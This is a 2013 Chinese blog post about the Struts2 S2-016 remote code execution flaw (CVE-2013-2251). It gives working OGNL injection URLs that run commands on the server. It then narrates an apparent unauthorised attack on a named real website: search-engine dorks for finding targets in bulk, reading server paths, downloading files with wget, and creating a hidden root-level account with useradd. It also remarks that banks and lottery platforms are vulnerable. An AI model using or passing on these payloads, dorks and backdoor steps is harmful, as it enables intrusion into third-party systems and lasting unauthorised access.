用户注册



邮箱:

密码:

用户登录


邮箱:

密码:
记住登录一个月忘记密码?

发表随想


还能输入:200字

小蜜锋    -  云代码空间

—— 技术宅拯救世界!

Struts2远程执行命令高危漏洞利用方法

2013-07-21|13833阅||

摘要: Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。 描述 影响版

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

描述

影响版本 Struts 2.0.0 - Struts 2.3.15

报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE编号 CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+
java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()} 

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

以下仅供教学研究之用,严禁非法用途!

执行任意命令EXP,感谢X提供:

Struts2再爆远程代码执行漏洞(S2-016)

爆网站路径EXP,感谢h4ck0r提供:

Struts2再爆远程代码执行漏洞(S2-016)  

python执行任意命令,感谢h4ck0r提供

Struts2再爆远程代码执行漏洞(S2-016) 

GETSHELL EXP,感谢coffee提供:

Struts2再爆远程代码执行漏洞(S2-016) 

然后用以下代码写shell:

Struts2再爆远程代码执行漏洞(S2-016)

上前目录生成1.jsp



使用Struts2远程命令执行漏洞利用工具:


这东西一开始下到还不会利用
这篇文章写的不错但是关键字不咋好用比较少
然后就开始了批量拿了并且自己和朋友也想了一些关键字
Inurl:index.action
Inurl:商城.achtion (商城比较多)
Inurl:index.achtion 标题:apache struts2 
Inurl:action?id=
没有NB的关键字 只有爱想的脑袋
关键字不唯一可能你多想想就能想出更牛的关键字
就开始利用吧
 

Struts2这个漏洞很多大站都存在 比如这个香港电视台的 
不过这个执行命令卡 我就换个搞过的吧 那样方便演示

 

一小站 http://www.laipin.com/
这个漏洞一般都是阿帕奇 linux的
所以我们直接读阿帕奇的配置文件我们可以直接用find 命令


这样就会出现 那我们随便读个看看

 

/home/httpd

读了后发现这2都是错误的也就是都错误的
不过我们有强大的 find的命令 
找这个找了一会   不过突然想到了 robots.txt

于是我

然后利用cat 一个一个去读 不过运气好
/usr/local/bakresin4/webapps/laipin/robots.txt
/usr/local/webapps/laipin/robots.txt
/usr/local/resin4/webapps/laipin/robots.txt
/usr/local/resin3/webapps/laipin/robots.txt
/usr/local/bak-resin4-bak/webapps/laipin/robots.txt
/var/laipin/robots.txt
/home/ftpfile/laipin/robots.txt
/home/ftpfile/lp/robots.txt
/home/httpd/laipin/robots.txt
/home/httpd/laipin2/robots.txt

第2个就是正确的  不过我全部读完了 确定就一个和网站的文件是匹配的

既然找到了根目录
就想 写文件呀
我用了 
Echo bingdao test > /usr/local/webapps/laipin/1.txt (不成功)
Vi /usr/local/webapps/laipin/1.txt   (不成功)
Touch /usr/local/webapps/laipin/1.txt   (成功 但无法写入内容)
Mkdir /usr/local/webapps/laipin/123/  (成功 但无内容)
我后来仔细的想了想 也证实了 是由于cd命令执行不成功
但不明确是 不成功 还是无效果(好吧 没什么区别)
不过突然记起来了 wooyun一牛提交过某个远程代码执行漏洞
看了一下他的细节 发现是用的 wget 下载命令进行添加文件
 

下载成功后 发现不在根目录  
于是 mv 移动到根目录
 

成功 不过发现了一件蛋疼的事  不解析

useradd -u 0  -o  -g root  -G root -d /home/bingdao bingdao -p bingdao

用户也能添加成功
目测工具的危害性,而且目前国内好多银行网站及涉密的网站,彩票平台都存在漏洞
这篇文章也就到这了 
全文没什么亮点 只是一种利用记录。。
这东西 有时运气好 渗透时就能秒杀... 平常也可以练下linux命令什么的还是不错

顶 9踩 3收藏
文章评论
    发表评论

    个人资料

    • 昵称: 小蜜锋
    • 等级: 高级设计师
    • 积分: 7088
    • 代码: 757 个
    • 文章: 360 篇
    • 随想: 211 条
    • 访问: 1263 次
    • 关注

    标签

    设计模式(4)java(9)命名规范(2)广告创意(1)愤怒的小鸟(1)游戏(5)jsp(1)配置(1)Surface(1)windows(1)javabean(1)设计方法(1)开发工具(2)web(4)大数据(2)GPU(1)硬盘(1)内部结构(1)黑客(1)窃取(1)编码(1)解决方法(1)php(28)mysql(9)数据库备份(1)数据库还原(1)命令(2)数据库(1)安装(1)2012(2)世界末日(3)仙剑5前传(1)默哀(1)电源(1)女生(1)装饰器模式(2)古剑奇谭(1)电脑桌(1)史上最牛(1)编程语言(2)小米(3)电视机顶盒(1)营销策略(1)Android(8)手势(1)诺亚方舟(1)Eclipse(1)汽车(1)操作系统(1)软件(1)互联网(5)大事记(1)设计师(2)壁纸(1)古剑奇谭2(1)古剑奇谭网络版(1)云计算(2)服务器(1)框架(2)Socket(1)jquery(1)构造函数执行顺序(1)火车票(1)3D(1)数据中心(2)正则表达式(2)Web前端(1)开发框架(1)系统瘫痪(1)12306(2)cpu(1)javascript(2)开发日记(15)体育馆管理系统(15)网页设计(1)CSS3(3)腾讯(3)小游戏(1)interface(1)平板(2)面试(2)设计(5)摄影(2)数据挖掘(1)钢琴谱(1)情人节(1)陈欧体(1)程序员(3)漫画(1)UserAgent(1)iPhone(2)NoSQL(1)ui(9)越狱(1)指南(1)abstract(1)css(3)git(2)八核(2)三星(1)linux(11)数据类型(1)html5(2)UML(2)perftools(1)创意(1)logo(1)色谱(1)响应式(5)Metro(2)虚拟机(1)jvm(1)垃圾回收(1)left(1)join(1)连接查询(1)溯源系统(1)Override(1)SAE(2)WordPress(1)指针(1)链表(1)系统分析师(1)中间件(1)corba(1)static(1)无线(1)监控(1)iPad(1)Apache(2)比特币(2)命名规则(1)手机支付(1)curl(3)笔记(1)导航(1)thinkphp(1)异常导致本地路径泄漏(1)web设计(1)网络安全(1)诗句(1)4K对齐(1)代码库(1)色彩(1)动画片(1)struts2(3)漏洞(5)确认框(1)心情驿站(1)ArscEditor(1)resources.(1)apktool(1)AppKey(1)新浪微博(1)app(5)广告(3)赚钱(1)响应式布局(1)html(1)淘宝(2)微信(1)重构(5)缓存(1)破解(1)后门(1)七夕(1)SEO(2)概念设计(1)面向对象(1)bootstrap(1)性能(2)优化(1)iis(1)爬虫(1)采集(1)算法(2)文本相似度(2)cto(1)js(1)fsockopen(1)扁平化设计(2)网页(1)心情(7)小米电视(1)开箱(1)励志(2)招聘(3)命名(1)notepad++(1)python(1)配色(3)扁平化(4)ps(2)搞笑(2)创业(3)渲染(1)电影(1)模板(1)微博(1)企业家(1)公司(1)总结(1)前端(1)运营(1)变形(1)svn(4)教程(3)搜狗(1)泄密(1)双11(1)天猫(1)UC(1)启动界面(1)光棍节(1)双十一(2)物流(1)备份(1)更新(1)插入(1)插件(2)jsTree(1)(1)海量数据(1)分辨率(1)草图(1)手绘(1)速度(1)文本处理(1)实习(1)感想(1)文件(1)简历(1)65.49.2.17(1)yum(1)解决办法(1)阿里云(2)推广(1)来往(1)春运(1)LBS(1)gb2312(1)utf-8(1)log4j(1)详解(1)收购(1)私服(1)TortoiseGi(1)post(1)异常(2)flappyBird(1)应用创新大赛(1)宙斯杯(1)学习方法(1)xp(1)退役(1)安全(1)技术贴(1)flash(1)刷机(1)京东(1)电商(1)Tomcat(1)JDK(1)免费(1)长投影(1)图标(1)Photoshop(1)云端集成开发环境(1)软件开发(1)可视化(1)工具(2)OpenSSL(1)Heartbleed(1)vsftp(1)中国知网(1)学术论文(1)免费下载(1)开发(1)手册(1)速查表(1)追随战略(1)sdk(1)文章(1)发布(1)文件管理(1)沙画(1)动效(2)原型(1)感悟人生(1)哲理(1)Bash(1)类图(1)知识管理(1)Console(1)调试命令(1)rpm(1)报错(1)挂载(1)数据盘(1)云主机(1)产品经理(1)原型设计(1)mql4(1)mt4(1)ea(1)程序化交易(1)CURLOPT_PO(1)阿里云​(1)CentOS6(2)OpenSSH(1)漏洞修复(2)升级(1)安骑士(1)链克(1)

    站长推荐